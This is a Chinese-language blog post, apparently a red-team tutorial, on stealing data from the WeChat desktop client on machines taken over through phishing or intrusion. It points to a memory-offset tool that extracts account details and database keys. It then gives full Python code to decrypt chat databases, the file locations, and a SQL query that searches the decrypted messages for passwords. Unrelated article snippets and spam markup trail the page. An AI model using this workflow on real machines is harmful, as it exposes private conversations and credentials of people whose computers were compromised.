<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    紅藍對抗之PC端wechat信息竊取

    VSole2022-07-19 07:29:49

    0x00 來了

    最近弄了一些亂七八糟的東西,突然發現很久沒有更新文章了,正好HVV臨近,象征性更新一下,畢竟半年才更一次,屬實太過分了。

    PS:后面會縮短更新時間

    0x01 聲明

    聲明:該公眾號大部分文章來自作者日常學習筆記,未經授權,嚴禁轉載,如需轉載,聯系公眾號加白。

    請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。

    0x02 前言

    師傅們都碰到過一個問題:

    通過釣魚/滲透/XX方式控制了目標的電腦權限,如何才能獲取到更有價值的信息,更好的開展下一步工作呢

    答:眾所周知,WX在個人社交、日常辦公、XXXX中已經必不可少,所以比較容易被關注到

    場景:不管是XX工作需要取證、還是HVV工作需要更多有價值的信息,相對來說都是比較快準狠的方式

    所以想水一篇文章:關于WX個人信息與聊天記錄的取證工作

    0x03 實現

    學習地址[會不定期更新](能用就行):

    https://github.com/AdminTest0/SharpWxDump

    問:為啥要不定期更新?

    答:因為PC端WX每迭代一次新版本,偏移都會改變,都需要重新獲取,所以需要不定期更新對應版本的偏移地址,有興趣的師傅可以交流一下

    利用場景:

    釣魚攻擊(通過釣魚控到的機器通常都是登錄狀態,可誘騙登錄)

    滲透到運維機器(有些運維機器會日常登錄自己的微信,可蹲)

    某些工作需要取證(數據庫需要拷貝到本地慢慢弄)

    自行備份(日常備份自己留存)

    等等...............

    利用前提:需要處于登錄狀態

    1. 如果沒有運行,會提示

    2. 如果運行了,但是沒有登錄,會提示錯誤原因(因為實戰中會有各種各樣的錯誤,中文在CS中會亂碼,所以這里用的英文翻譯)

    3. 如果用戶登錄了WX,直接執行即可獲取:進程ID/當前版本/昵稱/賬號/手機號碼/郵箱/數據庫密鑰,目前所有正式版本都可以(能用就行)

    0x04 版本差異

    差異:

    版本 < 3.7.0.30,運行但不登錄:能獲取到;

    版本 > 3.7.0.30,運行但不登錄:獲取不到;

    原因:

    版本 < 3.7.0.30,都是從AccInfo.dat文件中獲取;

    版本 > 3.7.0.30,修復了AccInfo.dat文件中存儲個人信息(因為之前可以離線讀取);

    離線獲取,差異對比(左舊右新)

    在線獲取,差異對比(上舊下新),登錄后都能獲取,但新版已經獲取不到郵箱了

    0x05 聊天記錄解密

    1. wxid_xxxxxxxx一般都在文檔目錄下,作為存儲目錄,下載對應的聊天記錄文件到本地

    文件位置:

    關于聊天記錄文件:MSG.db,超出240MB會自動生成MSG1.db,以此類推

    wxid_xxxxxxxx\Msg\Multi\MSG0.db > 聊天記錄wxid_xxxxxxxx\Msg\Multi\MSG1.db > 聊天記錄wxid_xxxxxxxx\Msg\Multi\MSG2.db > 聊天記錄wxid_xxxxxxxx\Msg\MicroMsg.db > Contact字段 > 好友列表wxid_xxxxxxxx\Msg\MediaMsg.db > 語音 > 格式為silk
    

    2. 解密數據庫

    腳本代碼:

    from Crypto.Cipher import AESimport hashlib, hmac, ctypes, sys, getopt
    SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)IV_SIZE = 16HMAC_SHA1_SIZE = 20KEY_SIZE = 32DEFAULT_PAGESIZE = 4096DEFAULT_ITER = 64000opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')input_pass = ''input_dir = ''
    for op, value in opts:    if op == '-k':        input_pass = value    else:        if op == '-d':            input_dir = value
    password = bytes.fromhex(input_pass.replace(' ', ''))
    with open(input_dir, 'rb') as (f):    blist = f.read()print(len(blist))salt = blist[:16]key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)first = blist[16:DEFAULT_PAGESIZE]mac_salt = bytes([x ^ 58 for x in salt])mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)hash_mac = hmac.new(mac_key, digestmod='sha1')hash_mac.update(first[:-32])hash_mac.update(bytes(ctypes.c_int(1)))
    if hash_mac.digest() == first[-32:-12]:    print('Decryption Success')else:    print('Password Error')blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
    with open(input_dir, 'wb') as (f):    f.write(SQLITE_FILE_HEADER)    t = AES.new(key, AES.MODE_CBC, first[-48:-32])    f.write(t.decrypt(first[:-48]))    f.write(first[-48:])    for i in blist:        t = AES.new(key, AES.MODE_CBC, i[-48:-32])        f.write(t.decrypt(i[:-48]))        f.write(i[-48:])
    

    使用方法:

    python3 .\Decode.py -k 數據庫密鑰 -d .\MSG0.db
    

    解密成功

    3. 查找敏感信息

    將解密后的MSG0.db拖入數據庫工具,查詢語句查找關鍵字:

    SELECT * FROM "MSG" WHERE StrContent  like'%密碼%'
    

    包含個人消息、群消息等等,或者直接用數據庫工具的界面化查找

    0x06 如何獲取偏移

    使用CE選中WeChat.exe,獲取賬號偏移,通過WeChatWin.dll的基址+偏移,即可定位想獲取的信息,其他信息同理

    0x07 參考

    參考鏈接:

    [1] http://cn-sec.com/archives/440791.html

    [2] https://blog.csdn.net/weixin_42962516/article/details/114904925

    [3] https://blog.csdn.net/qq_38474570/article/details/96606530

    [4] https://www.52pojie.cn/forum.php?mod=viewthread&tid=1153671

    wechat
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0x00 來了最近弄了一些亂七八糟的東西,突然發現很久沒有更新文章了,正好HVV臨近,象征性更新一下,畢竟半年才更一次,屬實太過分了。請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。
    該法令文件明令禁止了俄羅斯的政府機構和銀行使用外國通訊應用,此后將不再有付款文件、公民的個人數據、有關銀行轉賬和存款的信息等數據通過上述軟件傳輸。另外,該法令同樣禁止將匯款系統連接到外國服務。俄羅斯的此舉似乎是旨在限制在關鍵部門部署外國軟件,以盡量避免敏感信息被外國情報部門獲取。
    ?微信小程序逆向分析
    2023-07-03 09:00:42
    WeChatAppEx.exe 版本:2.0.6609.4以融智云考學生端為例。網上已經有關于微信小程序解密的非常優秀的文章,本著學習的目的便不參考相關內容。筆者水平實在有限,如發現紕漏,還請讀者不吝賜教。拓展的,我們分別觀察RSI與RDI指向的內存區域。事實上,這一部分解密過程與微信圖片解密相同。目的是用int8類型的值a3填滿rbp至8個字節,進行8個字節分組異或。至此,尾部部分解密告一段落。
    近日,加拿大政府發布公告,禁止政府員工在移動設備上使用卡巴斯基安全產品和騰訊的微信(Wechat)應用,原因是對網絡安全和國家安全的擔憂。
    小程序和公眾號抓包目前微信支持在pc端打開公眾號和小程序,我們只需要全局代理到bp上即可。選擇好以后點擊確認,然后點擊應用。(如果你本身設置有vps,可能會沖突,建議關閉vps。)Windows操作windows直接設置--》網絡和Internet,找到代理,打開設置為bp的端口即可。
    場景釣魚攻擊滲透到運維機器實戰中釣魚時常在微信聊天記錄中找到目標內網系統賬號、機器賬號密碼,盡可能的不觸發大量掃描告警下在內網中精準打到跳板機,文章僅供學習使用。手動1、獲取微信數據庫密鑰,回傳DBpass.bin,項目地址。
    0X00 原理原理就是,讀取本地微信文件夾中的config目錄下的AccInfo.dat文件AccInfo.dat文件內容如下圖這個Dat文件中包含了手機號,微信ID,微信號,昵稱和城市,綁定郵箱等信息0X01?福州,龍巖,南平,寧德,莆田,泉州,三明,廈門,漳州。白山,白城,長春,吉林,遼源,四平,松原,通化。撫州,贛州,景德鎮,九江,吉安,南昌,萍鄉,上饒,新余,鷹潭,宜春。鞍山,本溪,朝陽,大連,丹東,撫順,阜新,葫蘆島,錦州,遼陽,盤錦(PanJi
    日常滲透測試中,在進行數據包的重放或者是篡改數據包時,會碰到一些存在數據加密或加簽的站點,這時我們就得尋找加簽或者加密的算法,而這尋找過程往往有一定難度。 總的來講,對于數據解密或者加簽破解的難度:app>web≥wxapp,同時api接口都是相同的,為降低不必要的挖洞難度,可將目光放到微信小程序上。本次就是以一個微信小程序站點開展的測試。
    所需準備:一臺安裝了微信的Mac(沒有微信抓個大頭鬼啊)Burp SuiteProxifier基本原理:通過Proxifier工具代理微信小程序流量到burp安裝burp證書到系統中必須安裝到系統中不然是抓不到https流量的(裝好了請忽略,當我湊字數就好)開啟burp下載證書打開安全并選擇始終信任burp證書就安裝好了添加Proxifier規則添加代理規則Proxies添加代理 填入burpSu
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类